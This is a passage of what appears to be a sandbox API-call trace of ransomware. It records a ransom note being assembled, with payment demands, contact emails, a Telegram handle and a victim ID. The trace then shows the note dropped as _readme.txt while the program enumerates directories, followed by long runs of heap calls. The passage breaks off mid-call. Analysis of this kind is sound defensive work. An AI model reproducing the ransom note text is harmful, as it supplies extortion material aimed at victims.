tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.682] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.682] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.682] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.683] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.683] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.683] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.683] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.683] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.683] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.683] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.684] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.684] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.685] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.686] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.686] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.687] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.688] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.688] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, 